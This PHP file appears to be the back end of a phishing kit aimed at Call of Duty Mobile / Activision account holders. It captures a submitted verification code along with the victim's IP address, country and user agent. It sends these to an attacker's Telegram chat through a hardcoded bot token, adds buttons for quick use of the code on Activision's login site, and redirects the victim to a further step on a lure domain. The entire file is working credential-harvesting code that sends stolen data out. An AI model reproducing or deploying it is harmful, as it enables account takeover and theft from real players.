<?php
// Function to get the real IP address of the user and country
function getUserIp() {
    if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        $ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
    } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ipList = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $ip = trim($ipList[0]);
    } else {
        $ip = $_SERVER['REMOTE_ADDR'];
    }

    // Use ipinfo.io to get country information
    $ipDetails = @json_decode(file_get_contents("http://ipinfo.io/{$ip}/json"));
    $country = $ipDetails->country ?? 'Unknown';

    return [$ip, $country];
}

// Function to escape special characters for HTML
function escapeHtml($text) {
    return htmlspecialchars($text, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}

// Check if the request method is POST
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Get 'code' from POST request
    $code = isset($_POST['code']) ? $_POST['code'] : '';

    // Verify if 'code' exists
    if (!empty($code)) {
        // Get the user's real IP address and country
        list($userIp, $userCountry) = getUserIp();

        // Get the user's User Agent
        $userAgent = $_SERVER['HTTP_USER_AGENT'];

        // Escape the 'code' value for HTML
        $escapedCode = escapeHtml($code);

        // Telegram Bot Token and Chat ID
        $botToken = '7821243954:AAFkVmjJCHH25j1loPVfA2woA3ynO4iQMmg';
        $chatId = '-1003193812415';

        // Prepare the message to be sent in HTML format
        $message = "🔐 <b>𝚌𝚘𝚍𝚎 𝚟𝚎𝚛𝚒𝚏𝚒𝚌𝚊𝚝𝚒𝚘𝚗 𝚛𝚎𝚌𝚎𝚒𝚟𝚎𝚍</b> 🔐\n";
        $message .= "═══════════════════════\n";
        $message .= "📋 <b>Code Verification:</b> <code>" . $escapedCode . "</code>\n";
        $message .= "🌐 <b>IP:</b> <code>" . $userIp . "</code>\n";
        $message .= "🇺🇸 <b>Country:</b> " . $userCountry . "\n\n";
        $message .= "📱 <b>User Agent:</b> " . htmlspecialchars($userAgent) . "\n\n";
        $message .= "⏱️ <i>This code was received at: " . date('Y-m-d H:i:s') . "</i>";

        // Create inline keyboard
        $keyboard = [
            'inline_keyboard' => [
                [
                    ['text' => '🌐 ورود به اکتیویژن چنج', 'url' => 'https://s.activision.com']
                ],
                [
                    ['text' => '📋 کپی کد', 'callback_data' => 'copy_code_' . base64_encode($escapedCode)]
                ]
            ]
        ];

        // Telegram API URL
        $telegramApiUrl = "https://api.telegram.org/bot$botToken/sendMessage";

        // Initialize cURL
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $telegramApiUrl);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
            'chat_id' => $chatId,
            'text' => $message,
            'parse_mode' => 'HTML',
            'reply_markup' => json_encode($keyboard)
        ]));

        // Execute cURL request
        curl_exec($ch);

        // Close cURL session
        curl_close($ch);
    }
}

// Redirect to the desired URL
header('Location: https://codmevent.top/codm/stepGetCode1.php');
exit();
?>